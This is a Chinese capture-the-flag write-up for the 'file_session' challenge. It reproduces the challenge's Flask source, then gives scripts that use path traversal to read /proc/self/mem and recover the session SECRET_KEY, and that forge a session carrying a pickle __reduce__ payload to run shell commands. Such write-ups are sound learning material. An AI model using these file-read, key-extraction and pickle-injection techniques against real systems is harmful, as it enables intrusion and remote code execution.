蓝帽杯初赛 file_session 见解

蓝帽杯初赛 file_session 见解

大概思路:利用任意文件读取从内存中读取SECRET_KEY值,然后伪造session去打一个pickle反序列化

前言

远程环境没有打通,本地docker复现成功。问了一些师傅同样是远程session伪造没有成功,具体原因不明。

本地docker使用的镜像是:python:3.8.0

蓝帽杯官方wp
官方的wp出来了,环境是没问题的,主要还是自己太菜了,session的更多属性是得补充一下了,哭惨惨

任意文件读取

上来就给了一个/download来读取任意文件,我是先尝试读取/proc/self/cmdline文件,发现起的是一个flask,然后读取源代码/app/app.py文件,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
import os
import uuid

from flask import Flask, request, session, render_template

from pickle import _loads

SECRET_KEY = str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))


# apt install python3.8

@app.route('/', methods=['GET'])
def index():
return render_template("index.html")


@app.route('/download', methods=["GET", 'POST'])
def download():
filename = request.args.get('file', "static/image/1.jpg")
offset = request.args.get('offset', "0")
length = request.args.get('length', "0")
if offset == "0" and length == "0":
return open(filename, "rb").read()
else:
offset, length = int(offset), int(length)
f = open(filename, "rb")
f.seek(offset)
ret_data = f.read(length)
return ret_data


@app.route('/filelist', methods=["GET"])
def filelist():
return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"


@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
if session.get('data'):
data = _loads(base64.b64decode(session['data']))
return data
session["data"] = base64.b64encode(b"error")
return 'admin pickle'


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)

这里在关注到/admin_pickle_load是可以对session进行base64+pickle反序列化的,这里应该就是漏洞利用点,但是需要伪造session。

这里并没有给SECRET_KEY,我的第一想法是伪造uuid4,虽然说是伪随机,但是没有种子应该没有利用的可能了。后来想到启动flask框架,这些全局变量必定是要存放起来的,那么应该是存放在了内存中。于是就找到了/proc/self/maps/proc/self/mem文件

这里建议对这两个文件不了解的读者可以想看看这篇文章:https://askdev.io/cn/questions/52854/ru-he-zai-linux-xia-cong-proc-pid-mem-du-qu-shu-ju

但是我用正则死活匹配不到uuid值

接下来的内容就是比赛结束后的了

赛后在水群的时候提出了匹配不到的问题,空白师傅给了我解答让我自己搭环境试试。于是我搭了个环境去测试,是可以找到的。于是我换了一种方式通过匹配与uuid相同位置的关键字作为匹配去找相对应的start和end位置,如下图所示

image-20220710120552744

然后写个脚本开始跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import re
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

url_1 = "http://192.168.68.128:8888/download?file=../../../../../proc/self/maps"
res = requests.get(url_1)
maplist = res.text.split("\n")

for i in maplist:
m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw", i)
if m != None:
start = int(m.group(1), 16)
end = int(m.group(2), 16)
url_2 = "http://192.168.68.128:8888/download?file=../../../../../proc/self/mem&offset={}&length={}".format(
start, end - start)
res_1 = requests.get(url_2)
if "Blueprint.before_app_request" in res_1.text:
print start
print end-start

这里矿大的h0cksr师傅通过正则是有匹配到的(PS:我的正则写的真的拉),他的方法就是将maps文件中读到的地址都dump下来,然后通过正则去匹配uuid格式,然后提取出来,正则如下

image-20220710121706682

pickle反序列化

拿到了uuid后就可以开始伪造session的内容了。

伪造的session远程都打不通,但是本地可以,不知道是不是远程有问题。当然也可能是我自己某一点没想到吧。

伪造后打远程的情况如下

image-20220710122328536

这里返回了sessionadmin pickle说明我们构造的session['data']并没有被靶机读到

伪造后打本地的情况如下

伪造的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
from flask import *
import pickle
import commands


class payload(object):
def __reduce__(self):
return (commands.getoutput, ('ls /',))


SECRET_KEY = "f238196a-466d-445b-942c-c1bbfcfdb7db"
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))


@app.route("/", methods=['GET', 'POST'])
def login():
session['data'] = base64.b64encode(pickle.dumps(payload()))
return 'atao'


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

这里如果出题人没有改pickle.py的源码,利用上面的payload应该是能打通的。

image-20220710122522582